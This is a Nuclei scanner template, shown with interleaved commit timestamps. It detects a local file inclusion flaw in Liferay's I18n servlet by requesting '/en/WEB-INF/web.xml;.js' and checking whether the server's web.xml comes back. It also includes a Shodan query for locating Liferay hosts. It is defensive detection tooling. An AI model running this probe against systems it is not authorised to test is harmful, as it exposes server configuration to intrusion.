2022-08-07 17:35:09 +00:00
id : liferay-resource-leak
info :
2023-01-16 17:41:15 +00:00
name : Liferay - Local File Inclusion
2022-08-07 17:35:09 +00:00
author : DhiyaneshDk
severity : high
description : |
2023-01-16 17:41:15 +00:00
Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works).
2022-08-07 17:35:09 +00:00
remediation : Update Liferay to the latest version
reference :
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
2023-01-16 17:41:15 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2024-09-10 08:22:50 +00:00
cpe : cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
2022-08-07 17:35:09 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2022-08-07 17:35:09 +00:00
shodan-query : title:"Liferay"
2024-09-10 08:22:50 +00:00
product : liferay_portal
vendor : liferay
2022-08-08 20:05:34 +00:00
tags : liferay,lfi,j2ee
2022-08-07 17:35:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-07 17:35:09 +00:00
- method : GET
path :
- "{{BaseURL}}/en/WEB-INF/web.xml;.js"
matchers-condition : and
matchers :
2022-08-08 20:05:34 +00:00
- type : word
2022-08-07 17:35:09 +00:00
part : body
2022-08-08 20:05:34 +00:00
words :
- "<web-app id="
- "<?xml"
condition : and
2022-08-07 17:35:09 +00:00
- type : word
2022-08-08 20:05:34 +00:00
part : header
2022-08-07 17:35:09 +00:00
words :
- "application/xml"
- type : status
status :
- 200
2024-09-12 05:14:01 +00:00
# digest: 4a0a00473045022100d9dfeed52809955676c0839f79317229f83602c693988aefe128d79464876d1902202fee56c8345c201de7b034a2a0e0515915e68ba66cbd0b16f6a005d442c40964:922c64590222798bb761d5b6d8e72950